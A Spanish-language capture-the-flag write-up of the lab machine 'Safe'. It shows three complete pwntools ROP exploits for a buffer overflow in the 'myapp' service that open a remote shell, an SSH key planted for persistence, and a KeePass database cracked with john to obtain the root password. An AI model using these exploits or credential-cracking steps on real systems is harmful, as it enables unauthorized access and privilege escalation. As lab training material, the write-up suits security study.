Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http
❯ nmap 10.10.10.147
Nmap scan report for 10.10.10.147
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1337/tcp open waste
Al abrir el servicio web encontramos la plantilla por defecto de apache2 en debian
Al ver el codigo fuente de la página podemos ver un comentario que nos dice que hay un binario con el nombre myapp que esta corriendo en el puerto 1337
El binario de myapp podemos descargarlo directamente de la pagina web en /myapp
❯ curl -s http://10.10.10.147/myapp -o myapp
Shell - user
Al ejecutar el programa comprobamos que es el mismo que corre en el puerto 1337
❯ ./myapp
19:32:56 up 8 min, 1 user, load average: 1,12, 0,83, 0,50
What do you want me to echo back? test
test
❯ netcat 10.10.10.147 1337
19:33:52 up 9 min, 0 users, load average: 0.00, 0.00, 0.00
What do you want me to echo back? test
test
Usando IDA podemos desensamblar el binario, la función main inicia ejecutando el comando uptime con system, luego de ello muestra un mensaje con printf para posteriormente recibir un buffer con gets, el primer argumento en rdi es el puntero a un buffer en rbp-112 donde se escribiran los datos y el segundo en rsi la cantidad de bytes a recibir, en este caso son 1000, mas de los que el buffer de 112 espera
Antes de explotar el buffer overflow miraremos las protecciones, NX esta habilitado, lo que quiere decir que no podremos simplemente ejecutar shellcode en la pila
❯ checksec myapp
[*] '/home/user/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Sabemos que el buffer definido está en rbp - 112 por lo que podemos llenar ese buffer con A's, luego enviar 8 bytes que es el tamaño de un qword o registro de x64 con B's y C's, las B's seran el valor despues de rbp - 112 por lo que rbp deberia tomar ese valor y el resto de bytes se escribiran después de rbp en el stack
❯ python3 -q
>>> b"A" * 112 + b"B" * 8 + b"C" * 8
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC'
>>>
En este caso necesitamos indicar que al corromper el programa nos interesa seguir al proceso padre, al enviar nuestro payload podemos ver que después de llenar el buffer con las 112 A's, el registro rbp ha tomado el valor de las 8 B's y el siguiente qword de las C's se ha escrito en el stack como la dirección de retorno, sabemos que necesitamos 112 bytes para sobrescribir rbp pero 120 para el retorno
❯ gdb -q myapp
Reading symbols from myapp...
(No debugging symbols found in myapp)
pwndbg> set follow-fork-mode parent
pwndbg> run
Starting program: /home/user/myapp
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
20:34:33 up 1:23, 1 user, load average: 0,54, 0,57, 0,58
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7fffffffe438: 0x4343434343434343
pwndbg>
Buffer Overflow - Function
Hay diferentes formas de explotarlo, la primera es a través de una funcion test existente en el binario en la dirección 0x401152, este ejecuta un push del valor de rbp y luego mueve a rbp la dirección del stack para guardar el puntero del stack en rdi y saltar a r13, por lo que si guardamos una función en r13 el primer argumento rdi tendrá un puntero al valor que contenga rbp al inicio de la ejecución de test
Lo primero sera buscar un gadget que guarde un valor en r13, aunque encontramos un pop r13 tambien guarda 2 qwords adicionales que llenaremos con null bytes
❯ ropper --file myapp --search "pop r13;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r13;
[INFO] File: myapp
0x0000000000401206: pop r13; pop r14; pop r15; ret;
Luego necesitamos el valor de r13 donde saltará la función test, podemos aprovechar que el binario no tiene PIE y el simbolo system se encuentra en él
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>
Resumiendo, guardamos la string /bin/sh en rbp, luego guardamos system@plt en r13, al llamar a test el puntero a la string en rbp se guarda en rdi y salta a r13 por lo que como resultado obtenemos la ejecución de system("/bin/sh")
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 112
junk = b"A" * offset
payload = b""
payload += junk
payload += b"/bin/sh\x00" # rbp value
payload += p64(0x401206) # pop r13; pop r14; pop r15; ret;
payload += p64(0x401040) # system()
payload += p64(0x0) * 2 # padding for pops
payload += p64(0x401152) # test()
shell.sendline(payload)
shell.recvline()
shell.interactive()
Al ejecutar el script se conecta a la maquina victima por el puerto 1337 y al explotar el buffer overflow nos devuelve una shell como el usuario user, leemos la flag
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Buffer Overflow - Writable
Otra forma de explotarlo es aprovechandonos de la sección .data la cual podemos ver con rabin2 donde tenemos permisos de escritura que se representa como rw-
❯ rabin2 -S myapp
[Sections]
nth paddr size vaddr vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00000000 0x0 0x00000000 0x0 ----
1 0x000002a8 0x1c 0x004002a8 0x1c -r-- .interp
2 0x000002c4 0x20 0x004002c4 0x20 -r-- .note.ABI-tag
3 0x000002e4 0x24 0x004002e4 0x24 -r-- .note.gnu.build-id
4 0x00000308 0x1c 0x00400308 0x1c -r-- .gnu.hash
5 0x00000328 0xa8 0x00400328 0xa8 -r-- .dynsym
6 0x000003d0 0x50 0x004003d0 0x50 -r-- .dynstr
7 0x00000420 0xe 0x00400420 0xe -r-- .gnu.version
8 0x00000430 0x20 0x00400430 0x20 -r-- .gnu.version_r
9 0x00000450 0x30 0x00400450 0x30 -r-- .rela.dyn
10 0x00000480 0x60 0x00400480 0x60 -r-- .rela.plt
11 0x00001000 0x17 0x00401000 0x17 -r-x .init
12 0x00001020 0x50 0x00401020 0x50 -r-x .plt
13 0x00001070 0x1a1 0x00401070 0x1a1 -r-x .text
14 0x00001214 0x9 0x00401214 0x9 -r-x .fini
15 0x00002000 0x3c 0x00402000 0x3c -r-- .rodata
16 0x0000203c 0x44 0x0040203c 0x44 -r-- .eh_frame_hdr
17 0x00002080 0x120 0x00402080 0x120 -r-- .eh_frame
18 0x00002e10 0x8 0x00403e10 0x8 -rw- .init_array
19 0x00002e18 0x8 0x00403e18 0x8 -rw- .fini_array
20 0x00002e20 0x1d0 0x00403e20 0x1d0 -rw- .dynamic
21 0x00002ff0 0x10 0x00403ff0 0x10 -rw- .got
22 0x00003000 0x38 0x00404000 0x38 -rw- .got.plt
23 0x00003038 0x10 0x00404038 0x10 -rw- .data
24 0x00003048 0x0 0x00404048 0x8 -rw- .bss
25 0x00003048 0x1c 0x00000000 0x1c ---- .comment
26 0x00003068 0x618 0x00000000 0x618 ---- .symtab
27 0x00003680 0x20b 0x00000000 0x20b ---- .strtab
28 0x0000388b 0x103 0x00000000 0x103 ---- .shstrtab
Para explotarlo de esta manera necesitaremos iniciar obteniendo las direcciones de las funciones system@plt y gets@plt, estas podemos obtnerlas nuevamente en gdb
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg>
Tambien necesitaremos un gadget que ejecute un pop rdi para enviar la direccion .data como argumento en las funciones que utilizaremos para explotarlo, primero a gets para recibir la string y luego a system para ejecutar esa string en el sistema
❯ ropper --file myapp --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: myapp
0x000000000040120b: pop rdi; ret;
La primera parte del exploit llama a gets guardando la entrada en la sección .data, aqui enviaremos la string /bin/sh, luego llamamos a system pasandole la direccion de .data como argumento, de esta forma obtenemos un system("/bin/sh")
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404038) # .data
payload += p64(0x401060) # gets()
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404038) # .data
payload += p64(0x401040) # system()
shell.sendline(payload)
shell.sendline(b"/bin/sh\x00")
shell.recvline()
shell.interactive()
Al ejecutarlo explota el buffer overflow y nos otorna una shell como el usuario user
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Buffer Overflow - Puts
Otra forma es a través del output del sistema, la idea sera obtener la direccion de puts@got la cual deberia ser una referencia a puts@libc por lo que tendriamos una dirección dentro de libc que podriamos usar para ejecutar otras funciones
pwndbg> got -r puts
Filtering by symbol name: puts
State of the GOT of /home/user/myapp:
GOT protection: Partial RELRO | Found 1 GOT entries passing the filter
[0x404018] puts@GLIBC_2.2.5 -> 0x7ffff7e38b00 (puts) ◂— push r14
pwndbg>
Tambien necesitaremos la funcion se system para ejecutar puts@got como comando y en el error ver la direccion lekeada de puts@libc, tambien necesitaremos la direccion de main para una vez ocurra el error volver al inicio del programa
pwndbg> plt
Section .plt 0x401020-0x401070:
0x401030: puts@plt
0x401040: system@plt
0x401050: printf@plt
0x401060: gets@plt
pwndbg> p main
$1 = {<text variable, no debug info>} 0x40115f <main>
pwndbg>
Ademas el gadget de pop rdi para poder enviar a puts@got como un argumento
❯ ropper --file myapp --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: myapp
0x000000000040120b: pop rdi; ret;
La idea es en un inicio ejecutar system(puts@got), esto claramente ocasionara un error ya que intentara ejecutar los bytes de puts@libc pero este error se ve reflejado por lo que deberiamos obtener su direccion, luego de ello simplemente volvemos a main
#!/usr/bin/python3
from pwn import remote, p64
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()
shell.sendline(payload)
shell.recvline()
print(shell.recvline())
Al ejecutarlo podemos ver que funciona y en el error hay un leak de puts@libc
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
b'sh: 1: \x90\x8f\x98\xeb:\x7f: not found\n'
[*] Closed connection to 10.10.10.147 port 1337
Ya que lo recibimos en formato bytes usaremos u64 para pasarlo a un valor entero
leak = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00"))
log.info(f"puts@libc: {hex(leak)}")
Al ejecutarlo podemos ver la dirección de puts@libc en formato hexadecimal
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] puts@libc: 0x7f6ef6156f90
[*] Closed connection to 10.10.10.147 port 1337
Especificamente con los ultimos bytes podemos detectar la versión de libc y por lo tanto el offset que debemos restar a puts para obtener la dirección base, al ejecutar libcdb podemos ver que es libc 2.24 y el offset de puts es 0x68f90, además de ello vemos otras direcciones interesantes como la de system o de la string /bin/sh
❯ libcdb lookup puts f90
[*] libc6_2.24-11+deb9u4_amd64
BuildID: 775143e680ff0cd4cd51cce1ce8ca216e635a1d6
MD5: 3e5c9b44fc491e6dd5e480fcb316bf2d
SHA1: 81a6361b56ed07f58021f6a4795a58d565253956
SHA256: d37be6b076bed6b4031451c8495aca3f350273e90dd5b97721f6b167b88ce1ea
Symbols:
__libc_start_main_ret = 0x202e1
dup2 = 0xdbfb0
printf = 0x4f190
puts = 0x68f90
read = 0xdb900
str_bin_sh = 0x161c19
system = 0x3f480
write = 0xdb960
Ya que tenemos una dirección de libc y los offsets para system y /bin/sh solo nos queda buscar un pop rdi en esa version de libc para guardarlo como argumento
❯ ropper --file libc.so.6 --search "pop rdi; ret;"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi; ret;
[INFO] File: libc.so.6
0x000000000001fc6a: pop rdi; ret;
La primera parte del exploits se encarga de lekear la dirección de puts para obtener libc base, con los offsets conocidos guardamos /bin/sh en rdi y ejecutar system
#!/usr/bin/python3
from pwn import remote, p64, u64, log
shell = remote("10.10.10.147", 1337)
offset = 120
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(0x40120b) # pop rdi; ret;
payload += p64(0x404018) # puts@got
payload += p64(0x401040) # system@plt
payload += p64(0x40115f) # main()
shell.sendline(payload)
shell.recvline()
libc_base = u64(shell.recvline().strip()[7:-11].ljust(8, b"\x00")) - 0x68f90
payload = b""
payload += junk
payload += p64(libc_base + 0x01fc6a) # pop rdi; ret;
payload += p64(libc_base + 0x161c19) # "/bin/sh"
payload += p64(libc_base + 0x03f480) # system()
shell.sendline(payload)
shell.recvline()
shell.interactive()
Finalmente ejecutamos el script que explota el buffer overflow y nos da una shell
❯ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
$ whoami
user
$ hostname -I
10.10.10.147
$ cat /home/user/user.txt
c15**************************ef9
$
Para obtener una shell mas comoda podemos guardar nuestra clave publica como autorizada en la maquina para despues conectarnos por ssh sin contraseña
$ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEO8eT1sRh3GpjhaLijzsM0P8IQzOflLDv6jI5j4LU3W user@ubuntu" > /home/user/.ssh/authorized_keys
$
❯ ssh user@10.10.10.147
user@safe:~$ whoami
user
user@safe:~$ hostname -I
10.10.10.147
user@safe:~$ cat user.txt
c15**************************ef9
user@safe:~$
Shell - root
En el directorio home del usuario user podemos encontrar un archivo de kepass MyPasswords.kdbx y varios archivos de extension JPG que son solo imagenes
user@safe:~$ ls -l
-rw-r--r-- 1 user user 1907614 May 13 2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 2019 IMG_0553.JPG
-rwxr-xr-x 1 user user 16592 May 13 2019 myapp
-rw-r--r-- 1 user user 2446 May 13 2019 MyPasswords.kdbx
-rw------- 1 user user 33 Jul 14 19:27 user.txt
user@safe:~$
Para descargar todos los archivos podemos usar scp aprovechando la conexion ssh
❯ scp user@10.10.10.147:'*' .
IMG_0545.JPG 100% 1863KB 695.1KB/s 00:02
IMG_0546.JPG 100% 1872KB 703.2KB/s 00:02
IMG_0547.JPG 100% 2470KB 636.0KB/s 00:03
IMG_0548.JPG 100% 2858KB 570.2KB/s 00:05
IMG_0552.JPG 100% 1099KB 549.4KB/s 00:02
IMG_0553.JPG 100% 1060KB 571.9KB/s 00:01
MyPasswords.kdbx 100% 2446 7.5KB/s 00:00
myapp 100% 16KB 50.1KB/s 00:00
user.txt 100% 33 0.1KB/s 00:00
Usando keepass2john podemos crear un hash tanto de el archivo kdbx como para cada una de las imagenes JPG, despues con john podemos romper este hash
❯ keepass2john MyPasswords.kdbx > hash
❯ for image in $(ls IMG*); do keepass2john -k $image MyPasswords.kdbx >> hash; done
❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (KeePass [SHA256 AES 32/64])
Remaining 6 password hashes with 6 different salts
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
La contraseña que hemos conseguido con john es bullshit, sin embargo en keepass tambien necesitamos proporcionar un fichero clave, despues de probar cada uno de los archivos JPG encontramos que IMG_0547.JPG es un archivo valido
Despues de desbloquear la base de datos podemos encontrar una credencial llamada Root password que parece ser la contraseña del usuario root
Usando esta contraseña podemos usar su para convertirnos en el usuario root, la contraseña es valida y conseguimos una shell como este y podemos leer la flag
user@safe:~$ su root
Password: u3v2249dl9ptv465cogl3cnpo3fyhk
root@safe:~# id
uid=0(root) gid=0(root) groups=0(root)
root@safe:~# hostname -I
10.10.10.147
root@safe:~# cat /root/root.txt
78b**************************a52
root@safe:~#